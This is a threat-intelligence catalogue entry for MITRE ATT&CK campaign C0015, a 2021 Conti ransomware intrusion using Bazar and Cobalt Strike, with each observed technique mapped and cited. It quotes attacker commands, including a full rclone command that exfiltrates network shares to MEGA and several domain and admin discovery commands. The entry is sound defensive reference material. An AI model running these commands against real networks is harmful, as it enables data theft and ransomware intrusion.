C0015

Campaign overview

MITRE ATT&CK historical record. Dates reflect source observations. Current activity and target-region classification are not asserted; Global denotes unclassified catalogue coverage. C0015 was a ransomware intrusion during which the unidentified attackers used Bazar, Cobalt Strike, and Conti, along with other tools, over a 5 day period. Security researchers assessed the actors likely used the widely-circulated Conti ransomware playbook based on the observed pattern of activity and operator errors.(Citation: DFIR Conti Bazar Nov 2021)

This is a historical record and does not establish current campaign activity.

Threat actor

Not established

Attribution confidence

Not established

First documented activity

2021-08-01

End date

Not established

Estimated victims

Not established

Reported impact

Not established

Unknown attribution, confidence and impact remain unspecified. Regional labels can include unspecified targets; assess the source evidence before acting.

Documented timeline

1. 2021-08-01

   Source-reported first observation; not a claim of current activity or confirmed campaign start/end.

   Source: MITRE ATT&CK

2. 2021-08-01

   Source-reported last observation; not a claim of current activity or confirmed campaign start/end.

   Source: MITRE ATT&CK

MITRE ATT&CK techniques

• T1135 · Network Share Discovery

  Discovery — During C0015, the threat actors executed the PowerView ShareFinder module to identify open shares.(Citation: DFIR Conti Bazar Nov 2021)

• T1047 · Windows Management Instrumentation

  Execution — During C0015, the threat actors used `wmic` and `rundll32` to load Cobalt Strike onto a target host.(Citation: DFIR Conti Bazar Nov 2021)

• T1083 · File and Directory Discovery

  Discovery — During C0015, the threat actors conducted a file listing discovery against multiple hosts to ensure locker encryption was successful.(Citation: DFIR Conti Bazar Nov 2021)

• T1553.002 · Code Signing

  Defense Impairment — For C0015, the threat actors used DLL files that had invalid certificates.(Citation: DFIR Conti Bazar Nov 2021)

• T1567.002 · Exfiltration to Cloud Storage

  Exfiltration — During C0015, the threat actors exfiltrated files and sensitive data to the MEGA cloud storage site using the Rclone command `rclone.exe copy --max-age 2y "\\SERVER\Shares" Mega:DATA -q --ignore-existing --auto-confirm --multi-thread-streams 7 --transfers 7 --bwlimit 10M`.(Citation: DFIR Conti Bazar Nov 2021)

• T1204.002 · Malicious File

  Execution — During C0015, the threat actors relied on users to enable macros within a malicious Microsoft Word document.(Citation: DFIR Conti Bazar Nov 2021)

• T1074.001 · Local Data Staging

  Collection — During C0015, PowerView's file share enumeration results were stored in the file `c:\ProgramData\found_shares.txt`.(Citation: DFIR Conti Bazar Nov 2021)

• T1218.011 · Rundll32

  Stealth — During C0015, the threat actors loaded DLLs via `rundll32` using the `svchost` process.(Citation: DFIR Conti Bazar Nov 2021)

• T1566.001 · Spearphishing Attachment

  Initial Access — For C0015, security researchers assessed the threat actors likely used a phishing campaign to distribute a weaponized attachment to victims.(Citation: DFIR Conti Bazar Nov 2021)

• T1005 · Data from Local System

  Collection — During C0015, the threat actors obtained files and data from the compromised network.(Citation: DFIR Conti Bazar Nov 2021)

• T1069.001 · Local Groups

  Discovery — During C0015, the threat actors used the command `net localgroup "adminstrator" ` to identify accounts with local administrator rights.(Citation: DFIR Conti Bazar Nov 2021)

• T1057 · Process Discovery

  Discovery — During C0015, the threat actors used the `tasklist /s` command as well as `taskmanager` to obtain a list of running processes.(Citation: DFIR Conti Bazar Nov 2021)

• T1069.002 · Domain Groups

  Discovery — During C0015, the threat actors use the command `net group "domain admins" /dom` to enumerate domain groups.(Citation: DFIR Conti Bazar Nov 2021)

• T1105 · Ingress Tool Transfer

  Command And Control — During C0015, the threat actors downloaded additional tools and files onto a compromised network.(Citation: DFIR Conti Bazar Nov 2021)

• T1055.001 · Dynamic-link Library Injection

  Stealth, Privilege Escalation — During C0015, the threat actors used a DLL named `D8B3.dll` that was injected into the Winlogon process.(Citation: DFIR Conti Bazar Nov 2021)

• T1059.005 · Visual Basic

  Execution — During C0015, the threat actors used a malicious HTA file that contained a mix of HTML and JavaScript/VBScript code.(Citation: DFIR Conti Bazar Nov 2021)

• T1486 · Data Encrypted for Impact

  Impact — During C0015, the threat actors used Conti ransomware to encrypt a compromised network.(Citation: DFIR Conti Bazar Nov 2021)

• T1027 · Obfuscated Files or Information

  Stealth — During C0015, the threat actors used Base64-encoded strings.(Citation: DFIR Conti Bazar Nov 2021)

• T1059.003 · Windows Command Shell

  Execution — During C0015, the threat actors used `cmd.exe` to execute commands and run malicious binaries.(Citation: DFIR Conti Bazar Nov 2021)

• T1218.010 · Regsvr32

  Stealth — During C0015, the threat actors employed code that used `regsvr32` for execution.(Citation: DFIR Conti Bazar Nov 2021)

• T1588.001 · Malware

  Resource Development — For C0015, the threat actors used Cobalt Strike and Conti ransomware.(Citation: DFIR Conti Bazar Nov 2021)

• T1021.001 · Remote Desktop Protocol

  Lateral Movement — During C0015, the threat actors used RDP to access specific network hosts of interest.(Citation: DFIR Conti Bazar Nov 2021)

• T1124 · System Time Discovery

  Discovery — During C0015, the threat actors used the command `net view /all time` to gather the local time of a compromised network.(Citation: DFIR Conti Bazar Nov 2021)

• T1030 · Data Transfer Size Limits

  Exfiltration — During C0015, the threat actors limited Rclone's bandwidth setting during exfiltration.(Citation: DFIR Conti Bazar Nov 2021)

• T1219.002 · Remote Desktop Software

  Command And Control — During C0015, the threat actors installed the AnyDesk remote desktop application onto the compromised network.(Citation: DFIR Conti Bazar Nov 2021)

• T1039 · Data from Network Shared Drive

  Collection — During C0015, the threat actors collected files from network shared drives prior to network encryption.(Citation: DFIR Conti Bazar Nov 2021)

• T1570 · Lateral Tool Transfer

  Lateral Movement — During C0015, the threat actors used WMI to load Cobalt Strike onto additional hosts within a compromised network.(Citation: DFIR Conti Bazar Nov 2021)

• T1018 · Remote System Discovery

  Discovery — During C0015, the threat actors used the commands `net view /all /domain` and `ping` to discover remote systems. They also used PowerView's PowerShell Invoke-ShareFinder script for file share enumeration.(Citation: DFIR Conti Bazar Nov 2021)

• T1016 · System Network Configuration Discovery

  Discovery — During C0015, the threat actors used code to obtain the external public-facing IPv4 address of the compromised host.(Citation: DFIR Conti Bazar Nov 2021)

• T1588.002 · Tool

  Resource Development — For C0015, the threat actors obtained a variety of tools, including AdFind, AnyDesk, and Process Hacker.(Citation: DFIR Conti Bazar Nov 2021)

• T1059.007 · JavaScript

  Execution — During C0015, the threat actors used a malicious HTA file that contained a mix of encoded HTML and JavaScript/VBScript code.(Citation: DFIR Conti Bazar Nov 2021)

• T1036 · Masquerading

  Stealth — During C0015, the threat actors named a binary file `compareForfor.jpg` to disguise it as a JPG file.(Citation: DFIR Conti Bazar Nov 2021)

• T1482 · Domain Trust Discovery

  Discovery — During C0015, the threat actors used the command `nltest /domain_trusts /all_trusts` to enumerate domain trusts.(Citation: DFIR Conti Bazar Nov 2021)

• T1218.005 · Mshta

  Stealth — During C0015, the threat actors used `mshta` to execute DLLs.(Citation: DFIR Conti Bazar Nov 2021)

Linked indicators

0 reviewed indicators. An indicator’s presence does not establish that every resource on shared infrastructure is malicious.

No reviewed indicators are supplied. None are inferred from the campaign description.

Documented infrastructure

No reviewed infrastructure is supplied.

Sources and evidence

• MITRE ATT&CK C0015

  Official MITRE ATT&CK campaign record C0015. Derived from mitre/cti commit 50be388e93819a5d20e71cbaaeccfda157abc846. Actor links and technique mappings are attributed to this source; confidence, victims, monetary impact and infrastructure are not inferred.

External sources retain their own licences and sharing conditions. Request a correction with supporting evidence.